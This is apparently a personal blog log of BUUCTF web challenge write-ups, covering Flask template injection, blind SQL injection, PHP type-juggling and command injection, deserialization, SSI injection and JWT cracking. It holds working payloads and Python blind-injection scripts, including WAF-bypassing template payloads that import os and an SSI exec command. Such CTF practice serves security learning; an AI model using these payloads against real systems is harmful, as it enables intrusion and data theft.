BUU日常刷题记录

回归初心,刷题快乐。

[WesternCTF2018]shrine

源码

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

可以读取到的信息:

  • 配置信息:服务器是python的flask模板,config内有FLAG参数。
  • 路由信息:根目录返回文件源码;/shrine/<path:shrine>下存在模板注入。
  • 过滤了两个黑名单config、self,过滤了括号。
  • 开启了debug模式。

想读取config,但是发现被过滤了,这个时候就要考虑flask模板下的两个重要参数。

  • {{url_for.__global__}} # 全局函数
  • {{get_flashed_messages()}} # 内置函数

获取flag方式:

{{url_for.__global__['current_app'].config['FLAG']}}

或者

{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

该函数返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。

[BJDCTF 2nd]简单注入

我又没有看到hint.txt,真是搞人心态。

拿到数据库查询代码:

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

这个就比较好分析了,提交参数username时,使用反斜杠注释单引号,使用注释绕过空格过滤:

username=admin\&password=/**/or/**/1>0#
username=admin\&password=/**/or/**/1<0#

执行两段话可以得到不一样的回显,很容易想到可以用盲注。

import requests

url = "http://0dafba8b-3cf1-4b74-9b9a-9195b5f5e6b0.node3.buuoj.cn/index.php"


def submit1():
    data = {"username": "admin\\", "password": ""}
    result = ""
    i = 0
    while True:
        i = i + 1
        for j in range(32, 128):
            payload = "or/**/if(ascii(substr(password,%d,1))<%d,1,0)#" % (i, j)
            data['password'] = payload
            response = requests.post(url=url, data=data)

            if "stronger" in response.text:
                result += chr(j - 1)
                print(payload)
                print(result)
                break
            else:
                if j == 127:
                    return result


def submit2():
    data = {"username": "admin\\", "password": ""}
    result = ""
    i = 0
    while True:
        i = i + 1
        head = 32
        tail = 127

        while head < tail:
            mid = (head + tail) >> 1
            payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#" % (i, mid)
            data['password'] = payload
            response = requests.post(url=url, data=data)

            if "stronger" in response.text:
                head = mid + 1
            else:
                tail = mid

        if head != 32:
            result += chr(head)
        else:
            break
        print(result)
    return result


if __name__ == "__main__":
    print(submit1())

[WUSTCTF2020]朴实无华

先访问index.php,云里雾里的警告提示。

手动尝试找了几个敏感文件,发现存在robots.txt,访问得假flag。

没啥头绪,有点离谱,后来看wp知道网络中文件头存在提示,又不细心了。

访问拿到源码,比较烦的是编码解析问题,需要换个编码。

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士,不是想看时间,只是想不经意间,让你知道我过的比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
    $md5=$_GET['md5'];
    if ($md5==md5($md5))
        echo "想到这个CTFer拿到flag后,感激涕零,跑去东澜岸,找一家餐厅,把厨师轰出去,自己炒两个拿手小菜,倒一杯散装白酒,致富有道,别学小暴.</br>";
    else
        die("我赶紧喊来我的酒肉朋友,他打了电话,把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里,我充实而欣慰,有钱人的快乐往往就是这么的朴实无华,且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

第一关需要变量num小于2020,且+1后大于2021。很容易想到是PHP弱类型比较。intval() 函数将括号内的值转换为整型,可以通过科学计数法来进行绕过。

注意这个绕过方式只能在PHP5.5的版本进行复现,我在PHP7的版本及以上复现失败。

echo intval(1e10);    // 10000000000
echo intval('1e10');  // 1

提交payload:

num=2e4

第二关是MD5等于自身的绕过方式,这类的值在网上有很多,原理是0e开头的值可以绕过。

md5=0e215962017

第三关是命令注入,但是过滤了 cat 和空格,空格可以使用 $IFS 代替,cat 可以用 tac

get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[极客大挑战 2019]FinalSQL

这老哥出的题做了好几次 了,一模一样的模板。

有id参数,长着就像盲注。

exp:

import requests


if __name__ == "__main__":
    string = ""
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            ch = chr(mid)
            sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i, mid)
            url = f'http://a10fc172-5571-460a-9f76-93eb2e9486fd.node3.buuoj.cn/search.php?id={sql}'
            # print(url)
            response = requests.get(url)
            if response.text.find("NO! Not t") == -1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        string += chr(mid)
        print(string)

爆库名

sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i, mid)

爆表名

sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1" % (i, mid)

爆字段

sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i, mid)

拿flag

            sql = "1^(ord(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),%d,1))>%d)^1" % (i, mid)

然后发现爆错表了2333……

            sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid)

最后,鄙视一下盲注题打广告的出题人……太浪费时间了。

[MRCTF2020]PYWebsite

[NPUCTF2020]ReadlezPHP

简单的反序列化变量覆盖。

O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

[BJDCTF2020]EasySearch

今天又是不开扫描器败北的一天。

.swp源码泄露。

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

老规矩分析一下源码,当password满足一定的条件时,将username写入文件public/get_hash(),shtml。

先爆破一下admin:

import hashlib


def md5(string):
    return hashlib.md5(string.encode('utf-8')).hexdigest()


for i in range(10000000):
    if md5(str(i))[:6] == '6d0bc1':
        print(i)
        break

爆出来是2020666,提交后,通过抓包可以看到返回的值中有隐藏的文件名

直接访问可以读取文件。

这里涉及到了一个比较陌生的文件格式即shtml,可能存在SSI注入,详见:

https://shuaizhupeiqi.github.io/2018/11/17/SSI%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%B3%A8%E5%85%A5/

当我们传入参数

username=<!--#exec cmd="ls ../"-->
password=2020666

时,将命令执行结果写入文件(这里有一层目录穿越),访问可得:

读取flag

username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->
password=2020666

[GYCTF2020]FlaskApp

起先我以为是利用flask报错的交互式shell,但是Ping值还是缺了那么几个信息。

最后试了一下在解密过程中存在SSTI。

{{config}}

遍历找利用类读取文件(写成payload时要删除换行):

{% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__=='catch_warnings' %}
        {{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
    {% endif %}
{% endfor %}

或者写个py脚本遍历也是可以的,不过很花时间:

{{[].__class__.__base__.__subclasses__()[%s].__name__}}

拿到WAF:

def waf(str): 
  black_list = ['flag', 'os', 'system', 'popen', 'import', 'eval', 'chr', 'request', 'subprocess', 'commands', 'socket', 'hex', 'base64', '*', '?']
  for x in black_list: 
    if x in str.lower(): 
      return 1

遍历目录:遍历目录存在函数listdir()。

{% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__=='catch_warnings' %}
        {{ c.__init__.__globals__['__builtins__']['__im'+'port__']('o'+'s').listdir('/')}}
    {% endif %}
{% endfor %}

拿到目录

 [&#39;bin&#39;, &#39;boot&#39;, &#39;dev&#39;, &#39;etc&#39;, &#39;home&#39;, &#39;lib&#39;, &#39;lib64&#39;, &#39;media&#39;, &#39;mnt&#39;, &#39;opt&#39;, &#39;proc&#39;, &#39;root&#39;, &#39;run&#39;, &#39;sbin&#39;, &#39;srv&#39;, &#39;sys&#39;, &#39;tmp&#39;, &#39;usr&#39;, &#39;var&#39;, &#39;this_is_the_flag.txt&#39;, &#39;.dockerenv&#39;, &#39;app&#39;]

读取this_is_the_flag.txt文件。

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read() }}{% endif %}{% endfor %}

这题编码很迷惑,{}之间不能有空格,不然会报错,read()函数后又必须加空格,也不清楚啥原理。

[CISCN2019 华北赛区 Day1 Web2]ikun

爆lv6

import requests

for i in range(512):
    url = f"http://c48096c4-be85-4fad-8fce-ffaf3bf1e193.node3.buuoj.cn/shop?page={i}"
    response = requests.get(url=url)
    if response.text.find("lv6.png") != -1:
        print(i)
        break

抓包修改折扣倍率,跳转到b1g_m4mber,提示需要admin才能访问

抓包发现是JWT认证

使用c-jwt-cracker爆破

$ docker build . -t jwtcrack
$ docker run -it --rm  jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.dDz06h0lkd5_0DT8vUVcGLBGvX2btxx2AyJJCQWkEoQ
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇